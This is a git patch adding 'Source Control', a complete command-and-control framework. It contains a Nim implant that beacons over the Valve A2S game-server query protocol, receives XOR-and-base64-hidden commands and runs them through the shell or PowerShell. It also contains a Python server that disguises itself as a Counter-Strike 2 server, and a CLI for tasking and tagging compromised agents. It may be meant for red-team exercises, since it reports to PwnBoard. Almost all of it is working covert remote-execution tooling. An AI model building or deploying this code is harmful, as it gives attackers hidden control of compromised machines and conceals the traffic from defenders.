From fc22980f854dc38b8a7202c76cf3a1f727ed94ba Mon Sep 17 00:00:00 2001 From: connorgadbois Date: Fri, 30 Jan 2026 12:55:41 -0600 Subject: [PATCH] Initial commit --- README.md | 24 ++++ cli/cli.py | 251 +++++++++++++++++++++++++++++++++ cli/config.yml | 18 +++ cli/requirements.txt | 2 + client/main.nim | 115 +++++++++++++++ server/config.yml | 52 +++++++ server/requirements.txt | 1 + server/source-control.py | 5 + server/source_ctrl/__init__.py | 2 + server/source_ctrl/config.py | 4 + server/source_ctrl/database.py | 31 ++++ server/source_ctrl/logging.py | 17 +++ server/source_ctrl/server.py | 192 +++++++++++++++++++++++++ 13 files changed, 714 insertions(+) create mode 100644 README.md create mode 100644 cli/cli.py create mode 100644 cli/config.yml create mode 100644 cli/requirements.txt create mode 100644 client/main.nim create mode 100644 server/config.yml create mode 100644 server/requirements.txt create mode 100644 server/source-control.py create mode 100644 server/source_ctrl/__init__.py create mode 100644 server/source_ctrl/config.py create mode 100644 server/source_ctrl/database.py create mode 100644 server/source_ctrl/logging.py create mode 100644 server/source_ctrl/server.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..0a35faa --- /dev/null +++ b/README.md @@ -0,0 +1,24 @@ +# Source Control +A C2 server that uses the [A2S query protocol](https://developer.valvesoftware.com/wiki/Server_queries) + +## Building the client +If it's not already installed, install [Nim](https://nim-lang.org/install.html) + +Then compile: +```bash +nim c -d:release client/main.nim # Will output to client/main +``` + +## Running the server + - In `server/`, modify `config.yml` as needed + + - Install the requirements: `pip install -r requirements.txt` + + - Then you can run the server: `python3 source-control.py` + +## Using the CLI + - In `cli/`, modify `config.yml` as needed + + - Install the requirements: `pip install -r requirements.txt` + + - Then you can run the CLI: `python3 cli.py` \ No newline at end of file diff --git a/cli/cli.py b/cli/cli.py new file mode 100644 index 0000000..01502d9 --- /dev/null +++ b/cli/cli.py @@ -0,0 +1,251 @@ +import peewee +import yaml +from rich.table import Table +from rich.console import Console +from datetime import datetime +import time + +with open('config.yml', 'r') as config_file: + config = yaml.safe_load(config_file) + +if config['database'] == 'postgresql': + db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password']) +else: + db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'}) + +class Task(peewee.Model): + id = peewee.BigIntegerField(primary_key=True, unique=True, null=False) + agent_ip = peewee.CharField(null=False) + task = peewee.CharField(null=False) + completed = peewee.BigIntegerField(default=0, null=False) + + class Meta: + database = db + db_table = 'tasks' + +class Agent(peewee.Model): + ip = peewee.CharField(null=False) + checkins = peewee.BigIntegerField(default=0, null=False) + last_checkin = peewee.BigIntegerField(null=False) + tasks_sent = peewee.BigIntegerField(default=0, null=False) + tags = peewee.CharField(null=False, default='') + + class Meta: + database = db + db_table = 'agents' + +class Colors: + RESET = '\033[0m' + BLUE = '\033[94m' + RED = '\033[91m' + CYAN = '\033[96m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + +def print_banner() -> None: + print(f''' + {Colors.YELLOW}())))))))))))))))()){Colors.RESET} + {Colors.YELLOW}()))))))))))))))))))))))(){Colors.RESET} + {Colors.YELLOW}())))) )))))))))))))))){Colors.RESET} +.d88888b a88888b. dP dP {Colors.YELLOW})))))))))))){Colors.RESET} +88. "' d8' `88 88 88 {Colors.YELLOW}))))))))){Colors.RESET} +`Y88888b. .d8888b. dP dP 88d888b. .d8888b. .d8888b. 88 .d8888b. 88d888b. d8888P 88d888b. .d8888b. 88 {Colors.YELLOW})))))))){Colors.RESET} + `8b 88' `88 88 88 88' `88 88' `"" 88ooood8 88 88' `88 88' `88 88 88' `88 88' `88 88 {Colors.YELLOW})))))/{Colors.RESET} +d8' .8P 88. .88 88. .88 88 88. ... 88. ... Y8. .88 88. .88 88 88 88 88 88. .88 88 {Colors.YELLOW}))))/{Colors.RESET} + Y88888P `88888P' `88888P' dP `88888P' `88888P' Y88888P' `88888P' dP dP dP dP `88888P' dP {Colors.YELLOW}))))/{Colors.RESET} + {Colors.YELLOW})))({Colors.RESET} + Welcome to {Colors.YELLOW}Source Control{Colors.RESET} CLI {Colors.YELLOW}())))){Colors.RESET} + Use `{Colors.YELLOW}help{Colors.RESET}` for a list of commands +''') + +def print_help() -> None: + print(f''' +Commands: + help - Prints this menu + + agents - List all agents + agents {Colors.YELLOW}{Colors.RESET} - List all agents with tag {Colors.YELLOW}{Colors.RESET} + agents {Colors.YELLOW}{Colors.RESET} - Get details about the agent with IP {Colors.YELLOW}{Colors.RESET} + + stats - Prints statistics about the agents + + command {Colors.YELLOW} {Colors.RESET} - Send a command to the selected agents + + tag {Colors.YELLOW}{Colors.RESET} {Colors.YELLOW}{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas) + + clear - Clear the screen + exit - Exit the CLI +''') + +def print_agents() -> None: + table = Table() + + table.add_column('IP') + table.add_column('Status') + table.add_column('Checkins') + table.add_column('Last Checkin') + table.add_column('Tasks Sent') + table.add_column('Tags') + + for agent in Agent.select(): + tags_string = '' + + for tag in agent.tags.split(','): + if tag == 'linux': + tags_string = tags_string + '[green]' + tag + '[/green] ' + elif tag == 'windows': + tags_string = tags_string + '[blue]' + tag + '[/blue] ' + elif tag == 'bsd' or tag == 'pfsense': + tags_string = tags_string + '[yellow]' + tag + '[/yellow] ' + else: + tags_string = tags_string + tag + ' ' + + if time.time() - agent.last_checkin >= 600: + table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string) + else: + table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string) + + Console().print(table) + +def print_agents_by_tag_or_ip(search_str: str) -> None: + table = Table() + + table.add_column('IP') + table.add_column('Status') + table.add_column('Checkins') + table.add_column('Last Checkin') + table.add_column('Tasks Sent') + table.add_column('Tags') + + for agent in Agent.select(): + tags_string = '' + + for tag in agent.tags.split(','): + if tag == 'linux': + tags_string = tags_string + '[green]' + tag + '[/green] ' + elif tag == 'windows': + tags_string = tags_string + '[blue]' + tag + '[/blue] ' + elif tag == 'bsd' or tag == 'pfsense': + tags_string = tags_string + '[yellow]' + tag + '[/yellow] ' + else: + tags_string = tags_string + tag + ' ' + + if search_str in agent.tags.split(',') or agent.ip == search_str: + if time.time() - agent.last_checkin >= config['inactive_time']: + table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string) + else: + table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string) + + Console().print(table) + +def print_status() -> None: + total_agents = len(Agent.select()) + active_agents = len(Agent.select().where(Agent.last_checkin >= time.time() - config['inactive_time'])) + inactive_agents = len(Agent.select().where(Agent.last_checkin < time.time() - config['inactive_time'])) + total_tasks = len(Task.select()) + completed_tasks = len(Task.select().where(Task.completed == 1)) + + print(f''' +Total Agents: {total_agents} +Active Agents: {Colors.GREEN}{active_agents}{Colors.RESET} +Inactive Agents: {Colors.RED}{inactive_agents}{Colors.RESET} +Total Tasks: {total_tasks} +Completed Tasks: {completed_tasks} +''') + +def ip_match(ip: str, pattern: str): + return(all(p == '*' or x == p for x, p in zip(ip.split('.'), pattern.split('.')))) + +def is_agent(agent_ip: str) -> bool: + return(len(Agent.select().where(Agent.ip == agent_ip)) != 0) + +def select_agents(search_str: str) -> list: + agents = [] + + query = Agent.select() + + for agent in query: + if ip_match(agent.ip, search_str) or search_str in agent.tags: + agents.append(agent) + + return(agents) + +def send_command(search_str: str, command: str) -> None: + agents = select_agents(search_str) + commands_sent = 0 + + for agent in agents: + Task.create(agent_ip = agent.ip, task = command, completed = False) + commands_sent += 1 + + print(f'Sent the command to {Colors.YELLOW}{commands_sent}{Colors.RESET} agents') + +def add_tag(ip_pattern: str, tag: str) -> None: + updated_agents = 0 + + for agent in Agent.select(): + if ip_match(agent.ip, ip_pattern): + current_tags = agent.tags + + if tag in current_tags[0].split(','): + print(f'{Colors.YELLOW}{agent.ip}{Colors.RESET} already has the tag {Colors.YELLOW}{tag}{Colors.RESET}.') + return + + if current_tags[0] == '': + Agent.update(tags=str(tag)).where(Agent.ip == agent.ip).execute() + else: + Agent.update(tags=Agent.tags.concat(',' + str(tag))).where(Agent.ip == agent.ip).execute() + + updated_agents += 1 + + print(f'Tagged {Colors.YELLOW}{updated_agents}{Colors.RESET} with {Colors.YELLOW}{tag}{Colors.RESET}') + +def main(): + if config['print_banner']: + print_banner() + + while True: + try: + user_command = input('SC> ').split(' ') + + match user_command[0]: + case 'help': + print_help() + + case 'clear': + print('\x1b[2J\x1b[H') + + case 'agents': + if len(user_command) < 2: + print_agents() + else: + print_agents_by_tag_or_ip(user_command[1]) + + case 'stats': + print_status() + + case 'command': + if len(user_command) < 2: + print(f'\nUsage:\n\tcommand {Colors.YELLOW} {Colors.RESET} - Send a command to the selected agents\n') + else: + send_command(user_command[1], ' '.join(user_command[2:])) + + case 'tag': + if len(user_command) < 3: + print(f'\nUsage:\n\ttag {Colors.YELLOW}{Colors.RESET} {Colors.YELLOW}{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)\n') + else: + if ',' in user_command[2]: + print(f'{Colors.RED}Tags cannot contain commas.{Colors.RESET}') + + else: + add_tag(user_command[1], user_command[2]) + + case 'exit': + print(f'{Colors.YELLOW}Goodbye!{Colors.RESET}') + quit(0) + + except KeyboardInterrupt: + print('') + +if __name__ == '__main__': + main() diff --git a/cli/config.yml b/cli/config.yml new file mode 100644 index 0000000..b13f1de --- /dev/null +++ b/cli/config.yml @@ -0,0 +1,18 @@ +print_banner: true + +# How many seconds without a checkin before an agent is marked as inactive +inactive_time: 600 + +# Options: postgresql or sqlite +database: sqlite + +# Only required if database = sqlite +sqlite: + db_path: ../server/source-ctrl.db + +# Only required if database = postgresql +postgresql: + host: 127.0.0.1 + db_name: source_control + user: sc_user + password: password \ No newline at end of file diff --git a/cli/requirements.txt b/cli/requirements.txt new file mode 100644 index 0000000..9109313 --- /dev/null +++ b/cli/requirements.txt @@ -0,0 +1,2 @@ +peewee +rich \ No newline at end of file diff --git a/client/main.nim b/client/main.nim new file mode 100644 index 0000000..4b1809e --- /dev/null +++ b/client/main.nim @@ -0,0 +1,115 @@ +import net +import os +import osproc +import base64 + +const SERVER: string = "127.0.0.1" +const PORT: Port = Port(27015) +const KEY: string = "asdf" +const CHECKING_TIME: int = 240 + +const HEADER_PADDING: string = "\xFF\xFF\xFF\xFF" +const INFO_HEADER: string = "\x54" + +var IP: string = $getPrimaryIPAddr() + +type InfoResponse = object + bots: int + version: string + +proc skipCString(data: string, index: int): int = + var newIndex: int = index + 1; + + while newIndex < data.len: + if data[newIndex] == '\x00': + break + + newIndex = newIndex + 1 + + return newIndex + +proc xorMessage(plain: string, key: string): string = + result = newString(plain.len) + + for i in 0 ..< plain.len: + let plainByte = ord(plain[i]) + let keyByte = ord(key[i mod key.len]) + result[i] = chr(plainByte xor keyByte) + + return result + +proc sendInfoQuery(socket: Socket): void = + var queryPayload: string = HEADER_PADDING & INFO_HEADER & "Source Engine Query" & encode(xorMessage(IP, KEY)) & "\x00" + socket.sendTo(SERVER, PORT, queryPayload) + +proc parseInfo(msg: string): InfoResponse = + if msg == "": + return + + var i: int = 6 # Skip header and protocol + + #Skip name, map, folder, game + for x in 1..4: + i = skipCString(msg, i) + + i = i + 5 # Skip Steam app ID, players, max players + + var bots: int + if msg[i] == '\x00': + bots = 0 + else: + bots = 1 + + i = i + 5 # Skip server type, environment, visibility, VAC + + var encVersion: string + + while true: + if msg[i] == '\x00': + break + + encVersion = encVersion & msg[i] + i = i + 1 + + var version: string = xorMessage(decode(encVersion), KEY) + + return InfoResponse(bots: bots, version: version) + +proc recvResponse(socket: Socket): string = + var message: string + var data: string + + while true: + try: + data = socket.recv(1, 1000) + + message = message & data + except: + break + + return message + +proc main(): void = + var socket: Socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) + var response: string + var info: InfoResponse + + while true: + try: + sendInfoQuery(socket) + response = recvResponse(socket) + info = parseInfo(response) + + if defined(windows): + discard execCmdEx("powershell -c " & info.version) + else: + discard execCmdEx(info.version) + + except: + discard + + if info.bots == 0: + sleep(CHECKING_TIME * 1000) + +if isMainModule: + main() \ No newline at end of file diff --git a/server/config.yml b/server/config.yml new file mode 100644 index 0000000..6738cc3 --- /dev/null +++ b/server/config.yml @@ -0,0 +1,52 @@ +# Address to listen on +address: 0.0.0.0 + +# Port to listen on +port: 27015 + +# Encryption key +key: asdf + +# Options: postgresql or sqlite +database: sqlite + +# Only required if database = sqlite +sqlite: + db_path: source-ctrl.db + +# Only required if database = postgresql +postgresql: + host: 127.0.0.1 + db_name: source_control + user: sc_user + password: password + +pwnboard: + use_pwnboard: false + url: https://www.pwnboard.win/ + access_token: pwnboard_api_access_token + +# Server information to be displayed +server: + server_name: XPLAY.GG • CS2 DM FFA 8 • [US] + map_name: de_dust2 + folder: csgo + game: Counter-Strike 2 + app_id: 730 + max_players: 16 + vac: true + dedicated: true + platform: w # w -> Window, l -> Linux + version: 2025.03.26 + + # Usernames of the connected players + players: + - Player 1 + - Player 2 + - Player 3 + + +logging: + log_file: source-ctrl.log + print_logs: true + write_logs: true \ No newline at end of file diff --git a/server/requirements.txt b/server/requirements.txt new file mode 100644 index 0000000..9612e6d --- /dev/null +++ b/server/requirements.txt @@ -0,0 +1 @@ +peewee \ No newline at end of file diff --git a/server/source-control.py b/server/source-control.py new file mode 100644 index 0000000..6072931 --- /dev/null +++ b/server/source-control.py @@ -0,0 +1,5 @@ +import source_ctrl + +if __name__ == '__main__': + server = source_ctrl.A2Sserver(source_ctrl.config['address'], source_ctrl.config['port']) + server.start() \ No newline at end of file diff --git a/server/source_ctrl/__init__.py b/server/source_ctrl/__init__.py new file mode 100644 index 0000000..9f47719 --- /dev/null +++ b/server/source_ctrl/__init__.py @@ -0,0 +1,2 @@ +from . server import A2Sserver +from .config import config \ No newline at end of file diff --git a/server/source_ctrl/config.py b/server/source_ctrl/config.py new file mode 100644 index 0000000..006ca55 --- /dev/null +++ b/server/source_ctrl/config.py @@ -0,0 +1,4 @@ +import yaml + +with open('config.yml', 'r') as config_file: + config = yaml.safe_load(config_file) \ No newline at end of file diff --git a/server/source_ctrl/database.py b/server/source_ctrl/database.py new file mode 100644 index 0000000..21f069b --- /dev/null +++ b/server/source_ctrl/database.py @@ -0,0 +1,31 @@ +import peewee + +from .config import config + +if config['database'] == 'postgresql': + db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password']) +else: + db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'}) + +class Task(peewee.Model): + id = peewee.BigIntegerField(primary_key=True, unique=True, null=False) + agent_ip = peewee.CharField(null=False) + task = peewee.CharField(null=False) + completed = peewee.BigIntegerField(default=0, null=False) + + class Meta: + database = db + db_table = 'tasks' + +class Agent(peewee.Model): + ip = peewee.CharField(null=False) + checkins = peewee.BigIntegerField(default=0, null=False) + last_checkin = peewee.BigIntegerField(null=False) + tasks_sent = peewee.BigIntegerField(default=0, null=False) + tags = peewee.CharField(null=False, default='') + + class Meta: + database = db + db_table = 'agents' + +db.create_tables([Task, Agent]) \ No newline at end of file diff --git a/server/source_ctrl/logging.py b/server/source_ctrl/logging.py new file mode 100644 index 0000000..52f2664 --- /dev/null +++ b/server/source_ctrl/logging.py @@ -0,0 +1,17 @@ +from .config import config +from datetime import datetime + +class LogLevel: + INFO = '[INFO]' + WARN = '[WARNING]' + ERROR = '[ERROR]' + +def log(level: LogLevel, message: str) -> None: + log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n' + + if config['logging']['print_logs']: + print(log, end='') + + if config['logging']['write_logs']: + with open(config['logging']['log_file'], 'a') as log_file: + log_file.write(log) \ No newline at end of file diff --git a/server/source_ctrl/server.py b/server/source_ctrl/server.py new file mode 100644 index 0000000..18a0ccc --- /dev/null +++ b/server/source_ctrl/server.py @@ -0,0 +1,192 @@ +import socket +import threading +import struct +import random +import time +from base64 import b64encode, b64decode + +from .config import config +from .database import Task, Agent +from .logging import log, LogLevel + +PADDING = b'\x00' + +class A2Sserver: + def __init__(self, host: str, port: int): + self.__host = host + self.__port = port + + self.__server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.__server_socket.bind((self.__host, self.__port)) + + self.key = config['key'] + + def __update_pwnboard(self, ip: str) -> None: + try: + requests.post(config['pwnboard']['url'], json={'ip': ip, 'application': 'Source Control', 'type': 'a2s c2'}, headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {config["pwnboard"]["access_token"]}'}, timeout=5) + except: + log(LogLevel.ERROR, f'Failed to report callback to PWN Board. Reason: {e}') + + def __xor_message(self, msg: str) -> str: + xored = '' + + for i in range(len(msg)): + xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)])) + + return(xored) + + def __make_info_response(self, bots: int, version: str) -> bytes: + response = b'\xff\xff\xff\xff\x49' # Header + + # Protocol + response += b'\x11' + + # Server Name + response += config['server']['server_name'].encode('utf-8') + response += PADDING + + # Map name + response += config['server']['map_name'].encode('utf-8') + response += PADDING + + # Folder + response += config['server']['folder'].encode('utf-8') + response += PADDING + + # Game + response += config['server']['game'].encode('utf-8') + response += PADDING + + # Game ID + response += (int(config['server']['app_id'])).to_bytes(2, 'little') + + # Playercount + response += (len(config['server']['players'])).to_bytes(1, 'little') + + + # Max playercount + response += (int(config['server']['max_players'])).to_bytes(1, 'little') + + # Bot count + response += bots.to_bytes(1, 'little') + + # Server type + if config['server']['dedicated'] == True: + response += 'd'.encode('utf-8') + else: + response += 'l'.encode('utf-8') + + # Platform + response += config['server']['platform'].encode('utf-8') + + # Visibility + response += b'\x00' + + # VAC + if config['server']['vac'] == True: + response += b'\x01' + else: + response += b'\x00' + + # Version + response += b64encode(self.__xor_message(version).encode('utf-8')) + response += PADDING + + return(response) + + def __make_player_response(self) -> bytes: + response = b'\xff\xff\xff\xff\x44' + + # Playercount + response += (len(config['server']['players'])).to_bytes(1, 'little') + + # Player list + for i in range(len(config['server']['players'])): + # Player index + response += (i).to_bytes(1, 'little') + + # Player name + response += config['server']['players'][i].encode('utf-8') + response += PADDING + + # Frags + response += (random.randint(0, 50)).to_bytes(4, 'little') + + # Duration + response += (random.randint(0, 1000)).to_bytes(4, 'little') + + return(response) + + def __get_agent_ip(self, msg: bytes) -> str: + return(self.__xor_message(b64decode(msg[24:-1]).decode('utf-8'))) + + def __client_handler(self, address: tuple, msg: bytes) -> None: + log(LogLevel.INFO, f'Connection from {address[0]}:{address[1]} with message: {msg}') + + try: + ip = self.__get_agent_ip(msg) + + if ip == '' or ip == ' ' or ip == None: + # The client might not be a Source Control agent, send a normal response + match msg[4]: + case 84: # A2S_INFO + self.__server_socket.sendto(self.__make_info_response(0, config['server']['version']), address) + + case 85: # A2S_PLAYER + self.__server_socket.sendto(self.__make_player_response(), address) + + case 86: # A2S_RULES + self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules + + return + + # What type of query is this? + match msg[4]: + case 84: # A2S_INFO + + # Do we already have the agent? + if len(Agent.select().where(Agent.ip == ip).dicts()) == 0: + Agent.create(ip=ip, checkins=0, last_checkin=time.time(), tasks_sent=0, tags='') # Add them + + # Add the checkin + Agent.update(checkins=Agent.checkins + 1).where(Agent.ip == ip).execute() + + # Update their last checkin + Agent.update(last_checkin=time.time()).where(Agent.ip == ip).execute() + + # Get the agnet's open tasks + open_tasks = Task.select().where(Task.agent_ip == ip, Task.completed == 0).dicts() + + if len(open_tasks) == 0: + version = config['server']['version'] + else: + version = open_tasks[0]['task'] + + # Send the info response + self.__server_socket.sendto(self.__make_info_response(len(open_tasks), version), address) + + if len(open_tasks) != 0: + # Mark the task as completed + Task.update(completed = 1).where(Task.id == open_tasks[0]['id']).execute() + + if config['pwnboard']['use_pwnboard'] == True: + self.__update_pwnboard(ip) + + case 85: # A2S_PLAYER + self.__server_socket.sendto(self.__make_player_response(), address) + + case 86: # A2S_RULES + self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules + + except Exception as e: + log(LogLevel.ERROR, f'Failed to create response for {address[0]}:{address[1]}. Reason: {e}') + + def start(self) -> None: + while True: + try: + msg, address = self.__server_socket.recvfrom(1024) + + client = threading.Thread(target=self.__client_handler, args=(address,msg)) + client.start() + except Exception as e: + log(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}:{address[1]}. Reason: {e}') \ No newline at end of file